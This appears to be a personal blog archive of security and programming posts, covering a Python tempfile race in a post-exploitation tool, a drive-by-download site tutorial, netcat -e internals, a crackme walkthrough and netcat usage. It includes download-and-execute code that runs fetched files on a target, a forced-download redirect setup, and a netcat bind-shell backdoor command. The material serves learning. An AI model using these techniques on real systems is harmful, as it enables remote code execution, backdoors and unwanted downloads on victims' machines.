With the recent announcement of Apple Silicon (Apple laptops shifting to the 64 bit ARM architecture), it’s a great time to finally learn ARM64!
Continue readingCategory Archives: _Tech 💻
Being pedantic about C++ compilation
Takeaways:
- Don’t assume it’s safe to use pre-built dependencies when compiling C++ programs. You might want to build from source, especially if you can’t determine how a pre-built object was compiled, or if you want to use a different C++ standard than was used to compile it.
- Ubuntu has public build logs which can help you determine if you can use a pre-built object, or if you should compile from source.
pkg-config
is useful for generating the flags needed to compile a complex third-party dependency. CMake’sPkgConfig
module can make it easy to integrate a dep into your build system.- Use CMake
IMPORTED
targets (e.g.BZip2::Bzip2
) versus legacy variables (e.g.BZIP2_INCLUDE_DIRS
andBZIP2_LIBRARIES
).
Off to the (Python Internals) Races
This post is about an interesting race condition bug I ran into when working on a small feature improvement for poet a while ago that I thought was worth writing a blog post about.
In particular, I was improving the download-and-execute capability of poet
which, if you couldn’t tell, downloads a file from the internet and executes
it on the target. At the original time of writing, I didn’t know about
the python tempfile
module and since I recently learned about it, I wanted
to integrate it into poet as it would be a significant improvement to
the original implementation. The initial patch looked like this.
r = urllib2.urlopen(inp.split()[1])
with tempfile.NamedTemporaryFile() as f:
f.write(r.read())
os.fchmod(f.fileno(), stat.S_IRWXU)
f.flush() # ensure that file was actually written to disk
sp.Popen(f.name, stdout=open(os.devnull, 'w'), stderr=sp.STDOUT)
This code downloads a file from the internet, writes it to a tempfile on
disk, sets the permissions to executable, executes it in a subprocess.
In testing this code, I observed some puzzling behavior: the file was
never actually getting executed because it was suddenly ceasing to
exist! I noticed though that when I used
subprocess.call()
or used .wait()
on the Popen()
, it would work
fine, however I intentionally didn’t want the client to block while the
file executed its arbitrary payload, so I couldn’t use those functions.
The fact that the execution would work when the Popen
call waited for
the process and didn’t work otherwise suggests that there was something
going on between the time it took to execute the child and the time it took
for the with
block to end and delete the file, which is tempfile
‘s
default behavior. More specifically, the
file must have been deleted at some point before the exec
syscall loaded
the file from disk into memory. Let’s take a look at the implementation of
subprocess.Popen()
to see if we can gain some more insight:
def _execute_child(self, args, executable, preexec_fn, close_fds,
cwd, env, universal_newlines,
startupinfo, creationflags, shell, to_close,
p2cread, p2cwrite,
c2pread, c2pwrite,
errread, errwrite):
"""Execute program (POSIX version)"""
<snip>
try:
try:
<snip>
try:
self.pid = os.fork()
except:
if gc_was_enabled:
gc.enable()
raise
self._child_created = True
if self.pid == 0:
# Child
try:
# Close parent's pipe ends
if p2cwrite is not None:
os.close(p2cwrite)
if c2pread is not None:
os.close(c2pread)
if errread is not None:
os.close(errread)
os.close(errpipe_read)
# When duping fds, if there arises a situation
# where one of the fds is either 0, 1 or 2, it
# is possible that it is overwritten (#12607).
if c2pwrite == 0:
c2pwrite = os.dup(c2pwrite)
if errwrite == 0 or errwrite == 1:
errwrite = os.dup(errwrite)
# Dup fds for child
def _dup2(a, b):
# dup2() removes the CLOEXEC flag but
# we must do it ourselves if dup2()
# would be a no-op (issue #10806).
if a == b:
self._set_cloexec_flag(a, False)
elif a is not None:
os.dup2(a, b)
_dup2(p2cread, 0)
_dup2(c2pwrite, 1)
_dup2(errwrite, 2)
# Close pipe fds. Make sure we don't close the
# same fd more than once, or standard fds.
closed = { None }
for fd in [p2cread, c2pwrite, errwrite]:
if fd not in closed and fd > 2:
os.close(fd)
closed.add(fd)
if cwd is not None:
os.chdir(cwd)
if preexec_fn:
preexec_fn()
# Close all other fds, if asked for - after
# preexec_fn(), which may open FDs.
if close_fds:
self._close_fds(but=errpipe_write)
if env is None:
os.execvp(executable, args)
else:
os.execvpe(executable, args, env)
except:
exc_type, exc_value, tb = sys.exc_info()
# Save the traceback and attach it to the exception object
exc_lines = traceback.format_exception(exc_type,
exc_value,
tb)
exc_value.child_traceback = ''.join(exc_lines)
os.write(errpipe_write, pickle.dumps(exc_value))
# This exitcode won't be reported to applications, so it
# really doesn't matter what we return.
os._exit(255)
# Parent
if gc_was_enabled:
gc.enable()
finally:
# be sure the FD is closed no matter what
os.close(errpipe_write)
# Wait for exec to fail or succeed; possibly raising exception
# Exception limited to 1M
data = _eintr_retry_call(os.read, errpipe_read, 1048576)
<snip>
The _execute_child()
function is called by the subprocess.Popen
class
constructor and implements child process execution. There’s a lot of
code here, but key parts to notice here are the os.fork()
call which
creates the child process, and the relative lengths of the following
if
blocks. The check if self.pid == 0
contains the code for executing
the child process and is significantly more involved than the code
for handling the parent process.
From this, we can deduce that when the subprocess.Popen()
call executes
in my code, after forking, while the child is preparing to call
os.execve
, the parent simply returns, and immediately exits the with
block. This automatically invokes the f.close()
function which deletes
the temp file. By the time the child calls os.execve
, the file has been
deleted on disk. Oops.
I fixed this by adding the delete=False
argument to the
NamedTemporaryFile
constructor to suppress the auto-delete functionality.
Of course this means that the downloaded files will have to be cleaned up
manually, but this allows the client to not block when executing the file
and have the code still be pretty clean.
Main takeaway here: don’t try to Popen
a NamedTemporaryFile
as the
last statement in the tempfile’s with
block.
Building a Sketchy Website 101
Back in April, I won a free “.club” domain through gandi.net’s anniversary prize giveaway. I really didn’t need a “.club” domain in particular, so I thought it would be pretty fun to register a stereotypical “sketchy” domain and set it up as a drive-by download site or something, because while I’ve heard of doing this kind of thing, I’ve never actually done it before. Here’s a blog post walking through what I did. The usual disclaimer applies here: I did this purely for my own education and learning experience and am not responsible for anything you do with it.
Step 1: Register your sketchy domain
I chose http://freemoviedownload.club.
Step 2: Set up drive-by downloads
This involves configuring your web server to automatically set the Content-Type
header of the resource you want to force download to application/octet-stream
. That should make most web browsers trigger a download file prompt to actually download the file. Safari curiously doesn’t support prompts for downloaded file location like Chrome and Firefox, so in that case, it will immediately download the file to ~/Downloads
.
I’m going to try to force a drive-by download of a jpg file, so I added the below config to my .htaccess
file in Apache’s DocumentRoot
.
<Files *.jpg> ForceType application/octet-stream </Files>
That will force browers to download the image, rather than rendering it when a browser tries to access http://freemoviedownload.club/image.jpg
, for example.
At this point, we’re technically done. We can send someone a link to a file and, assuming they say yes to the prompt (or use Safari), download it to their computer. But for some extra polish, I want to have an actual website with content and have the download come from that page.
Step 3: Redirect
We can accomplish this with a trivial Javascript redirect that executes after the page has loaded. We can even add a delay before the download happens to give them time to read the website or whatever. The redirect will need to be to the path configured in step 2, but this will give the illusion that the download is coming from the index.html
page.
you have arrived at the official free movie download club! enjoy your download <script type="text/javascript" charset="utf-8"> function f() { document.location = 'dickbutt.jpg' } setTimeout(f, 2000); </script>
That’s it! Anyone that browses to the website will automatically get a nice “dickbutt.jpg” image downloaded to their machine. Again, particularly effective against Safari and Chrome for Android, in my testing.
Netcat “-e” Analysis
As I mentioned in a previous post, netcat has this cool
-e
parameter that lets you specify an executable to essentially turn into
a network service, that is, a process that can send and receive data over the
network. This option is option is particularly useful when called with a shell
(/bin/sh
, /bin/bash
, etc) as a parameter because this creates a poor man’s
remote shell connection, and can also be used as a backdoor into the system.
As part of the post-exploitation tool I’m
working on, I wanted to try to add this type of remote shell feature, but it
wasn’t immediately obvious to me
how something like this would be done, so I decided to dive into netcat’s
source and see if I could understand how it was implemented.
Not knowing where to start, I first tried searching the file for "-e" which brought me to:
case 'e': /* prog to exec */
if (opt_exec)
ncprint(NCPRINT_ERROR | NCPRINT_EXIT,
_("Cannot specify `-e' option double"));
opt_exec = strdup(optarg);
break;
This snippet is using the GNU argument parsing library, getopt, to check if
"-e" is set, and if not, setting the global char*
variable opt_exec
to the
parameter. Then I tried searching for opt_exec
, bringing me to:
if (netcat_mode == NETCAT_LISTEN) {
if (opt_exec) {
ncprint(NCPRINT_VERB2, _("Passing control to the specified program"));
ncexec(&listen_sock); /* this won't return */
}
core_readwrite(&listen_sock, &stdio_sock);
debug_dv(("Listen: EXIT"));
}
This code checks if opt_exec
is set, and if so calling ncexec()
.
/* Execute an external file making its stdin/stdout/stderr the actual socket */
static void ncexec(nc_sock_t *ncsock)
{
int saved_stderr;
char *p;
assert(ncsock && (ncsock->fd >= 0));
/* save the stderr fd because we may need it later */
saved_stderr = dup(STDERR_FILENO);
/* duplicate the socket for the child program */
dup2(ncsock->fd, STDIN_FILENO); /* the precise order of fiddlage */
close(ncsock->fd); /* is apparently crucial; this is */
dup2(STDIN_FILENO, STDOUT_FILENO); /* swiped directly out of "inetd". */
dup2(STDIN_FILENO, STDERR_FILENO); /* also duplicate the stderr channel */
/* change the label for the executed program */
if ((p = strrchr(opt_exec, '/')))
p++; /* shorter argv[0] */
else
p = opt_exec;
/* replace this process with the new one */
#ifndef USE_OLD_COMPAT
execl("/bin/sh", p, "-c", opt_exec, NULL);
#else
execl(opt_exec, p, NULL);
#endif
dup2(saved_stderr, STDERR_FILENO);
ncprint(NCPRINT_ERROR | NCPRINT_EXIT, _("Couldn't execute %s: %s"),
opt_exec, strerror(errno));
} /* end of ncexec() */
Here, on lines 13-16 is how the "-e" parameter really works. dup2()
accepts
two file descriptors and after deallocating the second one (as if close()
was called on it), the second one’s value is set to the first. So in this
case on line 13, the child process’s stdin is being set to the file descriptor for the
network socket netcat opened. This means that the child process will view
any data received over the network will as input data and will act accordingly.
Then on lines 15 and 16, the stdout and stderr descriptors are also set to the
socket, which will cause any output the program has to be directed over the
network. As far as line 14 goes, I’m not sure why the original socket file descriptor
has to be closed at that exact point (and based on the comments, it seems like
the netcat author wasn’t sure either).
The main point is this file descriptor swapping has essentially
converted our specified program into a network service; all the input and output
will be piped over the network, and at this point the child process can
be executed. The child will replace the netcat process and will also inherit
the newly set socket file descriptors. Note that on lines 30 and 31 there’s
some error handling code that resets the original stderr for the netcat process
and prints out an error message. This is because the code should actually
never get to this point in execution due to the execl()
call and if it does,
there was an error executing the child.
I wrote this little python program to see if I understood things correctly:
#!/usr/bin/env python
import sys
inp = sys.stdin.read(5)
if inp == 'hello':
sys.stdout.write('hi\n')
else:
sys.stdout.write('bye\n')
It simply reads 5 bytes from stdin and prints ‘hi’ if those 5 bytes were ‘hello’ otherwise printing ‘bye’.
Using this program as the -e
parameter results in this:
$ netcat -e /tmp/test.py -lp 8080 &
[1] 19021
$ echo asdfg | netcat 127.0.0.1 8080
bye
[1]+ Done netcat -e /tmp/blah.py -lp 8080
$ netcat -e /tmp/test.py -lp 8080 &
[1] 19024
$ echo hello | netcat 127.0.0.1 8080
hi
[1]+ Done netcat -e /tmp/blah.py -lp 8080
We can see the "server" launched in the background. The echo
command sends
data into netcat’s stdin, which is being sent over the network, handled by
the python script, which sends back its response, which gets printed. Then we
can see that the server exits since the netcat process has been replaced by
the script, and the script has exited.
Beginner Crackme
As part of an Intro to Security course I’m taking, my professor gave us a crackme style exercise to practice reading x86 assembly and basic reverse engineering.
The program is pretty simple. It accepts a password as an argument and we’re told that if the password is correct, "ok" is printed.
$ ./crackme
usage: ./crackme <secret>
$ ./crackme test
$
As usual, I start by running file
on the binary, which shows that it’s a
standard x64 ELF binary. file
also says that the binary is "not stripped", which means
that it includes symbols. All I really know about symbols are that they can
include debugging information about a binary like function and variable names
and some symbols aren’t really necessary; they can be stripped out to reduce
the binary’s size and make reverse engineering more challenging. Maybe I’ll
do a more in depth post on this in the future.
$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x3fcf895b7865cb6be6b934640d1519a1e6bd6d39, not stripped
Next, I run strings
, hoping to get lucky and find the password amongst the
strings in the binary. Strings looks for series of printable characters followed
by a NULL, but unfortunately nothing here works as the password.
$ strings crackme
/lib64/ld-linux-x86-64.so.2
exd4
libc.so.6
puts
printf
memcmp
__libc_start_main
__gmon_start__
GLIBC_2.2.5
fffff.
AWAVA
AUATL
[]A\A]A^A_
usage: %s <secret>
;*3$"
Since that didn’t work, we’re forced to disassemble the binary and
actually try to reverse engineer it.
We’ll start with main
.
$ gdb -batch -ex 'file crackme' -ex 'disas main'
Dump of assembler code for function main:
0x00000000004004a0 <+0>: sub rsp,0x8
0x00000000004004a4 <+4>: cmp edi,0x1
0x00000000004004a7 <+7>: jle 0x4004c7 <main+39>
0x00000000004004a9 <+9>: mov rdi,QWORD PTR [rsi+0x8]
0x00000000004004ad <+13>: call 0x4005e0 <verify_secret>
0x00000000004004b2 <+18>: test eax,eax
0x00000000004004b4 <+20>: je 0x4004c2 <main+34>
0x00000000004004b6 <+22>: mov edi,0x4006e8
0x00000000004004bb <+27>: call 0x400450 <puts@plt>
0x00000000004004c0 <+32>: xor eax,eax
0x00000000004004c2 <+34>: add rsp,0x8
0x00000000004004c6 <+38>: ret
0x00000000004004c7 <+39>: mov rsi,QWORD PTR [rsi]
0x00000000004004ca <+42>: mov edi,0x4006d4
0x00000000004004cf <+47>: xor eax,eax
0x00000000004004d1 <+49>: call 0x400460 <printf@plt>
0x00000000004004d6 <+54>: mov eax,0x1
0x00000000004004db <+59>: jmp 0x4004c2 <main+34>
End of assembler dump.
Let’s break this down a little.
0x00000000004004a0 <+0>: sub rsp,0x8
0x00000000004004a4 <+4>: cmp edi,0x1
0x00000000004004a7 <+7>: jle 0x4004c7 <main+39>
Starting at the beginning, we see the stack pointer decremented as part of the function prologue. The prologue is a set of setup steps involving saving the old frame’s base pointer on the stack, reassigning the base pointer to the current stack pointer, then subtracting the stack pointer a certain amount to make room on the stack for local variables, etc. We don’t see the former two steps because this is the main function so it doesn’t really have a function calling it, so saving/setting the base pointer isn’t necessary.
Then the edi
register is
compared to 1 and if it is less than or equal, we jump to offset 39.
0x00000000004004c2 <+34>: add rsp,0x8
0x00000000004004c6 <+38>: ret
0x00000000004004c7 <+39>: mov rsi,QWORD PTR [rsi]
0x00000000004004ca <+42>: mov edi,0x4006d4
0x00000000004004cf <+47>: xor eax,eax
0x00000000004004d1 <+49>: call 0x400460 <printf@plt>
0x00000000004004d6 <+54>: mov eax,0x1
0x00000000004004db <+59>: jmp 0x4004c2 <main+34>
Here at offset 39, we print something then jump to offset 34 where we repair the stack (undo the sub instruction from the prologue) and return (ending execution).
This is likely how the program checks the arguments and prints the usage message if no arguments are supplied (which would cause argc/edi to be 1).
However if we supply an argument, edi
is 0x2 and we move past the jle
instruction.
0x00000000004004a9 <+9>: mov rdi,QWORD PTR [rsi+0x8]
0x00000000004004ad <+13>: call 0x4005e0 <verify_secret>
Here we can see the verify_secret
function being called with a parameter
in rdi
. This is most likely the argument we passed into the program. We can
confirm this with gdb (I’m using it with peda here).
gdb-peda$ tele $rsi
0000| 0x7fffffffeb48 --> 0x7fffffffed6e ("/home/vagrant/crackme/crackme")
0008| 0x7fffffffeb50 --> 0x7fffffffed8c --> 0x4548530074736574 ('test')
0016| 0x7fffffffeb58 --> 0x0
Indeed rsi
points to the first element of argv
, so incrementing that by 8 bytes
(because 64 bit) points to argv[1]
, which is our input.
If we look after the verify_secret
call we can see the program checks
if eax
is 0 and if it is, jumps to offset 34, ending the program. However, if
eax
is not zero, we’ll hit a puts
call before exiting, which will presumably
print out the "ok" message we want.
0x00000000004004b2 <+18>: test eax,eax
0x00000000004004b4 <+20>: je 0x4004c2 <main+34>
0x00000000004004b6 <+22>: mov edi,0x4006e8
0x00000000004004bb <+27>: call 0x400450 <puts@plt>
0x00000000004004c0 <+32>: xor eax,eax
0x00000000004004c2 <+34>: add rsp,0x8
0x00000000004004c6 <+38>: ret
Now lets disassemble verify_secret
to see how the input validation is performed,
and to see how we can make it return non-zero.
Dump of assembler code for function verify_secret:
0x00000000004005e0 <+0>: sub rsp,0x408
0x00000000004005e7 <+7>: movzx eax,BYTE PTR [rdi]
0x00000000004005ea <+10>: mov rcx,rsp
0x00000000004005ed <+13>: test al,al
0x00000000004005ef <+15>: je 0x400622 <verify_secret+66>
0x00000000004005f1 <+17>: mov rdx,rsp
0x00000000004005f4 <+20>: jmp 0x400604 <verify_secret+36>
0x00000000004005f6 <+22>: nop WORD PTR cs:[rax+rax*1+0x0]
0x0000000000400600 <+32>: test al,al
0x0000000000400602 <+34>: je 0x400622 <verify_secret+66>
0x0000000000400604 <+36>: xor eax,0xfffffff7
0x0000000000400607 <+39>: lea rsi,[rsp+0x400]
0x000000000040060f <+47>: add rdx,0x1
0x0000000000400613 <+51>: mov BYTE PTR [rdx-0x1],al
0x0000000000400616 <+54>: add rdi,0x1
0x000000000040061a <+58>: movzx eax,BYTE PTR [rdi]
0x000000000040061d <+61>: cmp rdx,rsi
0x0000000000400620 <+64>: jb 0x400600 <verify_secret+32>
0x0000000000400622 <+66>: mov edx,0x18
0x0000000000400627 <+71>: mov esi,0x600a80
0x000000000040062c <+76>: mov rdi,rcx
0x000000000040062f <+79>: call 0x400480 <memcmp@plt>
0x0000000000400634 <+84>: test eax,eax
0x0000000000400636 <+86>: sete al
0x0000000000400639 <+89>: add rsp,0x408
0x0000000000400640 <+96>: movzx eax,al
0x0000000000400643 <+99>: ret
End of assembler dump.
I won’t walk through this one in detail because understanding each line
isn’t necessary to crack this. Let’s skip to
the memcmp call. If memcmp returns 0, eax
is set to 1 and the function
returns. This is exactly what we want. From the man page, memcmp
takes three
parameters, two buffers to compare and their lengths, and returns 0 if the
buffers are identical.
0x0000000000400622 <+66>: mov edx,0x18
0x0000000000400627 <+71>: mov esi,0x600a80
0x000000000040062c <+76>: mov rdi,rcx
0x000000000040062f <+79>: call 0x400480 <memcmp@plt>
Here’s the setup to the memcmp
call. We can see the third parameter for length
is the immediate 0x18 meaning the buffers will be 24 bytes in length. If we
examine address 0x600a80, we find this 24 byte string:
gdb-peda$ hexd 0x600a80 /2
0x00600a80 : 91 bf a4 85 85 c3 ba b9 9f a6 b6 b1 93 b9 83 8f ................
0x00600a90 : ae b1 ae c1 bc 80 ca ca 00 00 00 00 00 00 00 00 ................
Since this is a direct address to some memory, we can be fairly certain that
we’ve found some sort of secret value! Based on the movzx eax,BYTE PTR [rdi]
instruction (offset 7)
which moves a byte from the input string into eax, the xor eax, 0xfffffff7
instruction (offset 36), and
the add rdi, 0x1
instruction (offset 54) which increments the char*
pointer to our input string, we can reasonably guess
that this function is xor’ing each character of our input with 0xf7 and writing
the result into a buffer which begins at rsp
(also pointed to by rcx
). Since
we now know the secret (\x91\xbf\xa4\x85...
) and the xor key (0xf7
) it’s
pretty easy to extract the password we need by xor’ing each byte of the secret
with the xor key.
Here’s a way to do this with python.
{% highlight python %} str = ‘\x91\xbf\xa4\x85\x85\xc3\xba\xb9\x9f\xa6\xb6\xb1\x93\xb9\x83\x8f\xae\xb1\xae\xc1\xbc\x80\xca\xca’ ba = bytearray(str) for i, byte in enumerate(ba): ba[i] ^= 0xf7 print ba {% endhighlight %}
Which results in this:
$ python crack.py
fHSrr4MNhQAFdNtxYFY6Kw==
$ ./crackme fHSrr4MNhQAFdNtxYFY6Kw==
ok
Netcat Refresher
Introduction
Netcat is a great tool for all things networking and is commonly nicknamed "the TCP/IP Swiss-army knife" due to its versatility and utility. An absolute must-know for sysadmins and hackers. In this article, I’ll go over a few common uses I have for it that I frequently forget after not using it for a while, primarily for my own personal reference.
Before I begin, I should point out that there are a few variants on netcat that have slightly different options and behaviors but are all essentially the same in "spirit and functionality", as the ncat man page describes it.
The original netcat comes from the OpenBSD package and was written by "Hobbit". This is the default version that comes with OS X and Ubuntu. The version that I use and will cover is the standard GNU Netcat, by Giovanni Giacobbi, which is a rewrite of the original. This available using brew on OS X. On Ubuntu it’s called "netcat-traditional" which you can apt-get
and then run with nc.traditional
. Lastly, there is ncat, which is a netcat implementation by our friends from the nmap team. It is designed to modernize netcat and adds features like SSL, IPv6, and proxying which aren’t available in the original(s).
Usage
At its core, netcat is a tool for creating arbitrary TCP connections, which looks like
$ netcat [host] [port]
where host is either an IP Address or a domain name, and port is the TCP port to connect to.
You can also use netcat to do the reverse: listen for arbitrary TCP connections. This looks like
$ netcat -l -p [port] [host]
Here, host is an optional parameter which lets you limit what host can create connections.
Example: Chat
Using these two behaviors, we can create a crude chat system. One one host, listen for connections on a port.
$ netcat -l -p 1337
On the same one, in another terminal, connect to it on that port.
$ nc localhost 1337
There won’t be a prompt, but when you enter text and press enter, it will appear in the other terminal. You can just as easily do this between different hosts and have a super basic chat setup.
Example: Curl-like behavior
You can also use netcat to emulate curl and interact with HTTP servers. Connect to the server on port 80 (or whatever port it’s running on) and you can then type out the HTTP request to send to it. When you’re finished, hit enter twice and it will send.
[mark:~]{ nc example.org 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Content-Type: text/html
Content-Length: 349
Connection: close
Date: Wed, 05 Mar 2014 20:15:42 GMT
Server: ECSF (mdw/1383)
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>400 - Bad Request</title>
</head>
<body>
<h1>400 - Bad Request</h1>
</body>
</html>
As you can see here, we sent a bare-bones HTTP request (GET / HTTP/1.1
) which was successfully sent to the server. The server responded with a 400, because our request didn’t contain enough information, but that’s not important; if we had filled in the right headers, it would have responded with the home page for example.org.
For Hackers
There are two applications for netcat that I find particularly useful in pen-testing situations.
Recon
The first is helpful for the recon stage, which is essentially getting information on your target. Sometimes network services may give away version information when an arbitrary network connection is made. For example, OpenSSH by default gives away it’s version information as well as information on the host, when you connect. For example,
$ netcat 1.2.3.4 22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1
is typically what you might see. For an attacker, this is pretty valuable stuff! MySQL behaves similarly.
$ netcat 1.2.3.4 3306
J
5.5.33-.?2|>\8��@x\E$"zeic2lmysql_native_password
The output isn’t as clear as OpenSSH, but we can confirm that MySQL is indeed running, and we can infer that the version is "5.5.33". For information on removing these banners, check out my blog post on it.
Persistence/Access
The other application is when you have achieved command execution, but not exactly shell access. You can use netcat to create a nifty backdoor which you can externally connect to. To create the backdoor, we’ll use the -e
flag to tell netcat to execute a binary on receiving a connection. We want a shell, so we’ll say -e /bin/sh
. The whole command will look like:
$ netcat -l -p 1337 -e /bin/sh
which will give you a backdoor on port 1337, which will then let you run commands upon connecting to that port. For a good example, check out my other blog post where I actually used this.
Conclusion
That was a quick overview of netcat including its basic functionality and some example use cases. Thanks for reading!